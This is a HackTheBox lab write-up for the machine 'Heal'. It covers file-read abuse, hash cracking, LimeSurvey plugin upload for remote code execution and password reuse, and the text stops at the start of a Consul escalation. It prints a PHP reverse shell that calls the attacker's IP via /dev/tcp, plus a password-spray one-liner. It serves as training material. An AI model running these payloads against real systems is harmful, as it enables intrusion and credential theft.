HackTheBox Writeup Heal
Heal is a medium-difficult Linux machine that features a website vulnerable to arbitrary file read, allowing us to extract sensitive credentials. The server also hosts a LimeSurvey instance, where the leaked credentials can be used to log in as an administrator. Since administrators can upload plugins, we can exploit this to upload a malicious plugin and gain a reverse shell as the www-data
user. Further enumeration reveals the database password for LimeSurvey, which is reused by the system user ron
, allowing us to escalate access. The server also runs a local instance of the Consul Agent as root
. By registering a malicious service via the Consul API, we can escalate privileges and gain root access.
Recon
Hosts
1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ pt init '10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb'
+---------+--------+-------------+----------------------+
| PROFILE | STATUS | IP | DOMAIN |
+---------+--------+-------------+----------------------+
| heal | on | 10.10.11.46 | heal.htb |
| heal | on | 10.10.11.46 | api.heal.htb |
| heal | on | 10.10.11.46 | take-survey.heal.htb |
+---------+--------+-------------+----------------------+
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.94SVN scan initiated Thu Dec 19 18:53:34 2024 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.10.11.46
Nmap scan report for 10.10.11.46
Host is up, received user-set (0.20s latency).
Scanned at 2024-12-19 18:53:34 CST for 15s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 19 18:53:49 2024 -- 1 IP address (1 host up) scanned in 15.11 seconds
80 - HTTP : Fast Resume Builder
Info
1
http://heal.htb [200] [Heal] [nginx/1.18.0 (Ubuntu)] [b57be17f9d1837ae4261edd88a0f41cf1c2006c8] [Express,Nginx:1.18.0,Node.js,React,Ubuntu]
Directory
- The web server returns
503
error code when large amount of web requests are sent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ cat httpx/urls.txt | cariddi -rua -info -s -e -ext 4 -sr -intensive
_ _ _ _
(_) | | | (_)
___ __ _ _ __ _ __| | __| |_
/ __/ _` | '__| |/ _` |/ _` | |
| (_| (_| | | | | (_| | (_| | |
\___\__,_|_| |_|\__,_|\__,_|_| v1.3.2
> github.com/edoardottt/cariddi
> edoardoottavianelli.it
========================================
http://heal.htb:80
http://heal.htb:80/robots.txt
http://heal.htb:80/sitemap.xml
http://heal.htb:80/static/js/bundle.js
http://heal.htb:80/static/js/main.chunk.js
http://heal.htb:80/manifest.json
http://heal.htb:80/static/js/0.chunk.js
Subdomains
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ gobuster vhost --append-domain -o gobuster_vhosts.txt -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -t 100 -u http://$(pt get rhost)
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://heal.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: api.heal.htb Status: 200 [Size: 12515]
Progress: 59449 / 100001
User Flag
Shell as www-data
80 - heal.htb : Enumeration
http://heal.htb/
Sign up a new account
http://heal.htb/survey
- The survey function reveals another virtual host :
take-survey.heal.htb
http://take-survey.heal.htb/index.php/552933?lang=en
http://take-survey.heal.htb/index.php
- The home page shows that it’s powered by LimeSurvey, and the administrator’s username is
ralph
- LimeSurvey have a potential RCE exploit
80 - api.heal.htb : Broken access control & Directory traversal
After crawling and saving the node js web files with cariddi, got all the endpoints the web app at heal.htb
was using
1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Heal/output-cariddi]
└─$ grep -rin api.heal.htb
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:476: const url = isSignUp ? "http://api.heal.htb/signup" : "http://api.heal.htb/signin";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:827: const response = await axios__WEBPACK_IMPORTED_MODULE_2__["default"].get("http://api.heal.htb/profile", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:848: await axios__WEBPACK_IMPORTED_MODULE_2__["default"].delete("http://api.heal.htb/logout", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1158: const response = await axios__WEBPACK_IMPORTED_MODULE_2__["default"].get("http://api.heal.htb/resume", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1178: await axios__WEBPACK_IMPORTED_MODULE_2__["default"].delete("http://api.heal.htb/logout", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1330: const response = await axios__WEBPACK_IMPORTED_MODULE_2__["default"].post("http://api.heal.htb/exports", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1341: const downloadResponse = await axios__WEBPACK_IMPORTED_MODULE_2__["default"].get(`http://api.heal.htb/download?filename=${filename}`, {
http://api.heal.htb/download?filename=${filename}
endpoint is interesting, and it needs a valid token
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Heal/output-cariddi]
└─$ curl 'http://api.heal.htb/download?filename=/etc/passwd'
{"errors":"Invalid token"}
The authorization’s header format is `Authorization: Bearer ${localStorage.getItem(“token”)}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(bravosec㉿fsociety)-[~/htb/Heal/output-cariddi]
└─$ grep -rin api.heal.htb -E5
[...]
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1325- `;
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1326- };
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1327- const handleExport = async format => {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1328- const htmlContent = generateHtmlContent();
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1329- try {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1330: const response = await axios__WEBPACK_IMPORTED_MODULE_2__["default"].post("http://api.heal.htb/exports", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1331- content: htmlContent,
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1332- format: format
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1333- }, {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1334- headers: {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1335- Authorization: `Bearer ${localStorage.getItem("token")}`
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1336- }
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1337- });
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1338- const {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1339- filename
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1340- } = response.data;
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1341: const downloadResponse = await axios__WEBPACK_IMPORTED_MODULE_2__["default"].get(`http://api.heal.htb/download?filename=${filename}`, {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1342- responseType: "blob",
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1343- headers: {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1344- Authorization: `Bearer ${localStorage.getItem("token")}`
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1345- }
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1346- });
[...]
Get token from localstorage
CTRL + SHIFT + I
to open developer tools -> Local Storage
Now the function works. ralph
and ron
are the normal users on the machine, tried to get id_rsa
key from their home folders but failed
1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=/etc/passwd' -s | grep sh$
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
Since download
function didn’t appear in my menu at heal.htb
, assume that the function was designed to be accessible for Administrators
only, but the access control failed
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/htb/Heal/output-cariddi]
└─$ grep -rin admin -E5
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1039- __source: {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1040- fileName: _jsxFileName,
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1041- lineNumber: 75,
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1042- columnNumber: 13
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1043- }
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1044: }, "Admin:"), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0___default.a.createElement("span", {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1045- className: "profile-value",
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1046- __self: undefined,
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1047- __source: {
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1048- fileName: _jsxFileName,
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1049- lineNumber: 76,
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1050- columnNumber: 13
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1051- }
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1052: }, profile.is_admin ? "Yes" : "No")))));
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1053-};
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1054-/* harmony default export */ __webpack_exports__["default"] = (Profile);
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1055-
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1056-/***/ }),
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt-1057-
Got some full paths starting with /home/ralph/
from the js
files, confirmed that api.heal.htb
web app could be running as ralph
, but they don’t contain interesting secrets
1
2
3
4
5
6
7
8
9
10
11
┌──(bravosec㉿fsociety)-[~/htb/Heal/output-cariddi]
└─$ grep -rin ralph
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:200:var _jsxFileName = "/home/ralph/resume-builder/src/App.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:361:var _jsxFileName = "/home/ralph/resume-builder/src/components/Error.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:459:var _jsxFileName = "/home/ralph/resume-builder/src/components/Home.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:813:var _jsxFileName = "/home/ralph/resume-builder/src/components/Profile.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1128:var _jsxFileName = "/home/ralph/resume-builder/src/components/ResumeForm.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1804:var _jsxFileName = "/home/ralph/resume-builder/src/components/TakeSurvey.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:1942:var _jsxFileName = "/home/ralph/resume-builder/src/index.js";
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:2009:__webpack_require__(/*! /home/ralph/resume-builder/node_modules/react-dev-utils/webpackHotDevClient.js */"./node_modules/react-dev-utils/webpackHotDevClient.js");
heal.htb:80/01f31a0684dc8ea37c0bb7a7385177034556298b.txt:2010:module.exports = __webpack_require__(/*! /home/ralph/resume-builder/src/index.js */"./src/index.js");
We successfully read /home/ralph/resume-builder/package.json
, no dependencies seems to be highly vulnerable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=/home/ralph/resume-builder/package.json'
{
"name": "resume-builder",
"version": "0.1.0",
"private": true,
"dependencies": {
"@testing-library/jest-dom": "^5.17.0",
"@testing-library/react": "^13.4.0",
"@testing-library/user-event": "^13.5.0",
"axios": "^1.7.2",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-router-dom": "^6.24.1",
"react-scripts": "^3.0.1",
"web-vitals": "^2.1.4"
},
"scripts": {
"start": "react-scripts start",
"build": "react-scripts build",
"test": "react-scripts test",
"eject": "react-scripts eject"
},
"eslintConfig": {
"extends": [
"react-app",
"react-app/jest"
]
},
"browserslist": {
"production": [
">0.2%",
"not dead",
"not op_mini all"
],
"development": [
"last 1 chrome version",
"last 1 firefox version",
"last 1 safari version"
]
}
}
The source codes have nothing interesting to note
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=/home/ralph/resume-builder/src/index.js'
import React from 'react';
import ReactDOM from 'react-dom/client';
import './index.css';
import App from './App';
import reportWebVitals from './reportWebVitals';
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
<React.StrictMode>
<App />
</React.StrictMode>
);
// If you want to start measuring performance in your app, pass a function
// to log results (for example: reportWebVitals(console.log))
// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
reportWebVitals();
80 - api.heal.htb : Loot sqlite database
api.heal.htb
uses Ruby on Rails, try to get its default config files
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ echo api.heal.htb | httpx -random-agent -td -server -title -fr -sc -hash sha1 -silent -ss -timeout 20 -srd httpx_api.heal.htb
http://api.heal.htb [200] [Ruby on Rails 7.1.4] [nginx/1.18.0 (Ubuntu)] [b4f574251e15e023660d57d6c8ef0459a854c9ef] [Nginx:1.18.0,Ubuntu]
- Google :
ruby on rails config file location
https://reinteractive.com/articles/rails-config-files-guide
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=config/database.yml'
{"errors":"File not found"}
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=../config/database.yml'
{"errors":"File not found"}
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
Get production
database
1
2
3
4
5
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' > loot/development.sqlite3
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 32768 100 32768 0 0 54713 0 --:--:-- --:--:-- --:--:-- 54704
Dump the whole database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ sqlite3 loot/development.sqlite3 .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "token_blacklists" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "token" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
CREATE TABLE IF NOT EXISTS "users" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "email" varchar, "password_digest" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL, "fullname" varchar, "username" varchar, "is_admin" boolean);
INSERT INTO users VALUES(1,'ralph@heal.htb','$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG','2024-09-27 07:49:31.614858','2024-09-27 07:49:31.614858','Administrator','ralph',1);
INSERT INTO users VALUES(2,'a@a.com','$2a$12$YRbRGBSb526kx7ImTNTpgOA0S.vi/GjH4KzBdPKFkYMGxaHawDyP.','2024-12-19 17:38:30.398831','2024-12-19 17:38:30.398831','a','a',0);
INSERT INTO users VALUES(3,'sam@root.com','$2a$12$O5tv/fF2h2LkmQX60BR.Te/t9FA7byfR/Xj/PvHdAnRwzpXdQ4wQS','2024-12-19 17:56:37.496887','2024-12-19 17:56:37.496887','sam','sam',0);
CREATE TABLE IF NOT EXISTS "schema_migrations" ("version" varchar NOT NULL PRIMARY KEY);
INSERT INTO schema_migrations VALUES('20240702133115');
INSERT INTO schema_migrations VALUES('20240702131229');
INSERT INTO schema_migrations VALUES('20240702053125');
INSERT INTO schema_migrations VALUES('20240702032524');
INSERT INTO schema_migrations VALUES('20240701161836');
CREATE TABLE IF NOT EXISTS "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
INSERT INTO ar_internal_metadata VALUES('environment','development','2024-09-27 07:49:07.266676','2024-09-27 07:49:07.266679');
INSERT INTO ar_internal_metadata VALUES('schema_sha1','86dacdae5e53daf6a99cc195f85ec397dbaa71b5','2024-09-27 07:49:07.269048','2024-09-27 07:49:07.269049');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',3);
COMMIT;
Extract and crack hashes
1
2
3
4
5
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ sqlite3 loot/development.sqlite3 .dump | grep 'INSERT INTO users' | awk -F, '{print $2":"$3}' | tr -d "'" | tee loot/development.sqlite3.hash
ralph@heal.htb:$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
a@a.com:$2a$12$YRbRGBSb526kx7ImTNTpgOA0S.vi/GjH4KzBdPKFkYMGxaHawDyP.
sam@root.com:$2a$12$O5tv/fF2h2LkmQX60BR.Te/t9FA7byfR/Xj/PvHdAnRwzpXdQ4wQS
1
hashcat loot/development.sqlite3.hash /opt/wordlists/rockyou.txt --user -m 3200
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ hashcat loot/development.sqlite3.hash /opt/wordlists/rockyou.txt --user -m 3200 --show
ralph@heal.htb:$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
80 - take-survey.heal.htb : Credential stuffing
http://take-survey.heal.htb/index.php/admin/authentication/sa/login
- Login :
ralph:147258369
The credential worked
- LimeSurvey’s version is
6.6.4
80 - LimeSurvey 6.6.4 : Authenticated RCE
- Google :
LimeSurvey exploit
POC - https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
Authenticated users can upload plugins to gain code execution
1
2
3
cd exploit
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
cd Limesurvey-RCE
1
2
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ vi exploit.py
There’s are 3 lines that needs to be changed
Exploit manually to simplify the steps
- The plugin structure requires
config.xml
and a php file
1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ 7z l Y1LD1R1M.zip
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-12-05 23:39:43 ..... 756 330 config.xml
2021-12-02 20:47:14 ..... 2430 940 php-rev.php
------------------- ----- ------------ ------------ ------------------------
2021-12-05 23:39:43 3186 1270 2 files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ cat config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Write a php reverse shell then pack it into a plugin zip file
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ vi rev.php
<?php system("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.87/1111 0>&1'"); ?>
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ zip rev.zip rev.php config.xml
adding: rev.php (deflated 9%)
adding: config.xml (deflated 56%)
http://take-survey.heal.htb/index.php/admin/pluginmanager?sa=index
Upload plugin zip file
While uploading the plugin file, it shows : The plugin is not compatible with your version of LimeSurvey.
- Google :
The plugin is not compatible with your version of LimeSurvey.
REF - https://www.limesurvey.org/manual/Extension_compatibility
There’s a section in config.xml
to control the compatible versions of LimeSurvey
Just add <version>6.0</version>
in the compatibility
section of config.xml
to make it compatible for version 6.6.4
Upload the plugin again
1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ zip rev.zip rev.php config.xml
updating: rev.php (deflated 9%)
updating: config.xml (deflated 57%)
Active the plugin
Start reverse shell listener
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
Visit rev.php
1
2
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ curl take-survey.heal.htb/upload/plugins/Y1LD1R1M/rev.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.87] from (UNKNOWN) [10.10.11.46] 54610
/usr/bin/script -qc /bin/bash /dev/null
www-data@heal:~/limesurvey/upload/plugins/Y1LD1R1M$ ^Z
zsh: suspended nc -lvnp 1111
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/Limesurvey-RCE]
└─$ stty raw -echo;fg
export TERM=xterm
[1] + continued nc -lvnp 1111
export TERM=xterm
www-data@heal:~/limesurvey/upload/plugins/Y1LD1R1M$ stty rows 50 columns 209
www-data@heal:~/limesurvey/upload/plugins/Y1LD1R1M$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
From www-data to ron
Harvesting - Limesurvey config
- Google :
LimeSurvey config file location
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
www-data@heal:~$ cd /var/www/limesurvey/application/config/
www-data@heal:~/limesurvey/application/config$ ls -latr
total 192
-rwxr-x--- 1 www-data www-data 732 Sep 27 10:27 version.php
-rwxr-x--- 1 www-data www-data 11917 Sep 27 10:27 vendor.php
-rwxr-x--- 1 www-data www-data 801 Sep 27 10:27 updater_version.php
-rwxr-x--- 1 www-data www-data 9525 Sep 27 10:27 tcpdf.php
-rwxr-x--- 1 www-data www-data 2553 Sep 27 10:27 routes.php
-rwxr-x--- 1 www-data www-data 611 Sep 27 10:27 rest.php
-rwxr-x--- 1 www-data www-data 3713 Sep 27 10:27 questiontypes.php
-rwxr-x--- 1 www-data www-data 12450 Sep 27 10:27 packages.php
-rwxr-x--- 1 www-data www-data 9638 Sep 27 10:27 ldap.php
-rwxr-x--- 1 www-data www-data 21697 Sep 27 10:27 internal.php
-rwxr-x--- 1 www-data www-data 114 Sep 27 10:27 index.html
-rwxr-x--- 1 www-data www-data 6153 Sep 27 10:27 fonts.php
-rwxr-x--- 1 www-data www-data 2695 Sep 27 10:27 email.php
-rwxr-x--- 1 www-data www-data 2551 Sep 27 10:27 console.php
-rwxr-x--- 1 www-data www-data 2975 Sep 27 10:27 config-sample-sqlsrv.php
-rwxr-x--- 1 www-data www-data 3025 Sep 27 10:27 config-sample-pgsql.php
-rwxr-x--- 1 www-data www-data 3041 Sep 27 10:27 config-sample-mysql.php
-rwxr-x--- 1 www-data www-data 2691 Sep 27 10:27 config-sample-dblib.php
-rwxr-x--- 1 www-data www-data 39410 Sep 27 10:27 config-defaults.php
-rw-r--r-- 1 www-data www-data 914 Sep 27 10:35 security.php
-rw-r--r-- 1 www-data www-data 3248 Dec 4 08:05 config.php
drwxr-x--- 3 www-data www-data 4096 Dec 8 13:57 rest
drwxr-x--- 15 www-data www-data 4096 Dec 8 13:57 ..
drwxr-x--- 3 www-data www-data 4096 Dec 8 13:57 .
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@heal:~/limesurvey/application/config$ cat config.php
[...]
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
[...]
Password spray
1
2
3
4
5
6
www-data@heal:~/limesurvey/application/config$ PASS='AdmiDi0_pA$$w0rd'; for USER in $(cat /etc/passwd|grep sh$|awk -F: '{print $1}'); do (x=$(echo $PASS | su $USER -c whoami); if [ "$x" ]; then echo "[+] $USER"; fi) & done
[1] 25421
[2] 25422
[3] 25423
[4] 25425
www-data@heal:~/limesurvey/application/config$ Password: Password: Password: Password: [+] ron
1
2
3
4
www-data@heal:~/limesurvey/application/config$ su - ron
Password:
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
Root Flag
From ron to root
Hashicorp Consul 1.0 : RCE
There’s an abnormal process consul
running as root
1
2
3
4
ron@heal:~$ ps auxfw5
[...]
